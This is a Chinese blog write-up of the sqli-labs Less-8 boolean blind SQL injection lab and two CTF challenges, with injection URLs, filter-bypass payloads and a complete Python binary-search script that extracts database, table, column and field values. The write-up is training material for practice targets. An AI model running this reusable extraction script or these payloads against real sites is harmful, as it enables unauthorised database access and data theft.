2022.8.4 sqli-labs Less-8(布尔盲注)

sqli-labs Less-8(布尔盲注,附SQL绕过补充)

像这样的,我输入id后没有显示出来的数据,此时我们注入就叫布尔注入(boolean)或盲注(blind)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysqli_error($con1));
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

可以看到,只要get传入跟数据库不匹配的id,他就会啥都不报

True:http://localhost/sqli-labs/Less-8/?id=1

False:http://localhost/sqli-labs/Less-8/?id=333

只能根据真、假两种状态来进行注入攻击,所以叫boolean攻击

image.png

一些铺垫

我们可以利用数据库长度length来推测

既然是布尔注入,可以用数据库的长度来注入看服务器是否回显来推断出其长度。

有:http://localhost/sqli-labs/Less-8/?id=1' and 1=1%23
有: http://localhost/sqli-labs/Less-8/?id=1' and length(database())>=8%23
没有:http://localhost/sqli-labs/Less-8/?id=1' and length(database())>=9%23
说明库名长度是8!

接下来的思路就是逐个字符判断..

注:substr(str,start,length)

没有:http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='a'%23
substr(string, start, length),其中start从1开始
有: http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'%23

另:可以用ascii()或者ord()的ascii编码来爆破数据库的每个字符。

没有:http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=97%23
substr(string, start, length),其中start从1开始
有: http://localhost/sqli-labs/Less-8/?id=1' and ord(substr(database(),1,1))=115%23

方便原因:用bp中的爆破intruder模块会方便一些。

image.png

image.png

另:我们可以用Cluster bomb模式,把每个位置的都试出来

image.png

image.png

image.png

得到了数据库名security

考虑到专业版的一些种种原因,总会受到各种限制,那我们下面介绍另外一个diy方案。

python脚本

注:一直访问同一个网站最好用session会话,先记住他比较快就好。

import requests
import time

session = requests.session()

burp0_url = "http://127.0.0.1:80/sqli-labs/Less-8"
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en",
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
                 "Connection": "close"}


def getDatabase():
    results = []
    for i in range(8):
        print(f'{i}...')
        for j in range(32, 128):
            params = {
                'id': f"1' and ord(substr(database(),{i + 1},1))={j}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                results.append(chr(j))
                print(''.join(results))
                break
    return ''.join(results)


begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

image.png

最终完结版本(python二分法)

有了前面的铺垫,我们可以进一步用二分法优化(字符越长越明显)。

import requests
import time

session = requests.session()

burp0_url = "http://127.0.0.1:80/sqli-labs/Less-8"
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en",
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
                 "Connection": "close"}


def getDatabase():
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end-start)//2
            params = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"1' and ord(substr(database(),{i + 1},1)) > {mid}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))

    return ''.join(results)


begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

可以看到,明显快了很多

image.png

他的优点很明显:

速度快且自动获取长度

那么我们以相同的思路搞其他的hack,那么最终的代码也出来了。

# @auther:yuezi2048
# date:2022.8.4
# 此为布尔盲注的模板,以Sql-labs Less-8为例

import requests
import time

session = requests.session()

burp0_url = "http://127.0.0.1:80/sqli-labs/Less-8"
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en",
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
                 "Connection": "close"}


def getDatabase():
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end - start) // 2
            params = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"1' and ord(substr(database(),{i + 1},1)) > {mid}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))

    return ''.join(results)


def getTableName(db):
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end - start) // 2
            params = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"1' and ord(substr(\
                (select group_concat(table_name) from information_schema.tables where table_schema='{db}')\
                ,{i + 1},1)) > {mid}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))

    return ''.join(results)


def getColumnName(db, tb_name):
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end - start) // 2
            params = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"1' and ord(substr(\
                    (select group_concat(column_name) from information_schema.columns\
                     where table_schema='{db}' && table_name='{tb_name}')\
                    ,{i + 1},1)) > {mid}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))

    return ''.join(results)


def getValue(db, tb_name, col_name):
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end - start) // 2
            params = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"1' and ord(substr(\
                    (select group_concat(`{col_name}`) from `{db}`.`{tb_name}`)\
                    ,{i + 1},1)) > {mid}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))

    return ''.join(results)


def getAllDatabase():
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end - start) // 2
            params = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"1' and ord(substr(\
                 (select group_concat(schema_name) from information_schema.schemata)\
                 ,{i + 1},1)) > {mid}#"
            }
            ret = session.get(burp0_url, params=params)
            if 'You are in' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))

    return ''.join(results)


# 获取数据库列表
# getAllDatabase()
begin = time.time()

# 获取当前数据库
print("start hack db...")
db = getDatabase()
print(f'[get_database:{db}]:time spend sum: {time.time() - begin}')

# 获取数据表
print("start hack tb_name...")
tb_names = getTableName(db)
print(f'[tb_name:{tb_names}]:time spend sum: {time.time() - begin}')

# 获取数据字段
tb_names = tb_names.split(",")
for tb_name in tb_names:
    print(f"start hack col_name in table {tb_name}")
    col_name = getColumnName(db, tb_name)
    print(f'[tb_name:{tb_name},col_name:{col_name}]:time spend sum: {time.time() - begin}')

# 获取数据字段值
print("start get_value...")
print(f"db:{db}")
print(f"tb:{tb_names}")

_db = input("which db?")
_tb_name = input("which tb_name?")
_col_name = input("which col_name?")
res = getValue(_db, _tb_name, _col_name)
print(f'[value:{res}]:time spend sum: {time.time() - begin}')

print("done.")

还是非常帅的,最后总用时也仅仅在1分钟作用

image.png

image.png

练习题

东塔攻防世界_布尔型盲注

和less8一样,我们只要把关键词替代掉和url修改即可,其他不用多做修改

image.png

也是仅仅一分钟就跑完了所有的值,电脑好点的应该更快

image.png

[CISCN2019 华北赛区 Day2 Web1]Hack World

这边主要提醒自己:substr()是基于Oracle的,substring()是基于SQL Server的,切记不可混用,否则会报错!之前一直用substr()一直出不来可能就是这个原因!

他这边过滤了and,or,很自然想到用异或

这边本来想用过滤引号的

fake'^(2>1)^'true'='false

但是发现好像不太对,他出来了一个bool(false)

后发现他源代码前后压根没有引号

令id=‘1’也是可以出来结果的

后经了解后,此处推断为\(id整数类型,判断时\)id会先被转换成整数,比如布尔类型转换成整数

那么也不需要什么注释绕过乱七八糟的了,直接注入一个混入脏东西的bool逻辑式子做测试用:

0^(ascii(substring((select(flag)from(flag)),1,1))>0)

易错点1:左边的数只能写0,不要想当然写除了1和2之外的数!!只要非0,那么在逻辑表达式中就是true(1),本人就是在这遭殃了

代入python脚本跑一遍即可。

然后写代码的时候就注意一下这边是用post传参

易错点2:访问频率太快会被服务器杀!!注意让python睡一会儿!

主要的函数如下,这边已经给我们数据库和表名了,那就直接查就好。

def getValue(db, tb_name, col_name):
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            # mid = 127 [128~255],[-1,127]
            # time : O(log2N) so,only get_session 8 times.
            mid = start + (end - start) // 2
            burp0_data = {
                # 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
                'id': f"0^(ascii(substring((select(flag)from(flag)),{i+1},1))>{mid})"
            }
            ret = session.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=5)
            if 'girlfriend' in ret.text:
                start = mid + 1
            else:
                end = mid
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
        time.sleep(0.5)

    return ''.join(results)

image.png

也是"简简单单"地拿到flag

附:其他思路的注入

1.if语句

id= if(1>2,1,2) 

若第一个判断式为真就取第二个值,否则取第三个值,此处id=2

burp0_data = {
    'id': f"if(ascii(substring((select\nflag\nfrom\nflag),{i+1},1))>{mid},1,10086)"
}
ret = session.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=5)

2.判别式转数字

如果 id=(1>2),那么id=0
如果 id=(1<2),那么id=1

关键python请求语句

burp0_data = {
    'id': f"(ascii(substring((select\nflag\nfrom\nflag),{i+1},1))>{mid})"
}
ret = session.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=5)

做了一下BUU东北赛区的一道盲注后,发现还需补充一些绕过姿势,这边稍微正整理了一下。

绕过补充

注释

-- 注释内容
# 注释内容
/*注释内容*/
;

内联注释

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

编码绕过

posted @ 2022-08-04 23:19  yuezi2048  阅读(70)  评论(0编辑  收藏  举报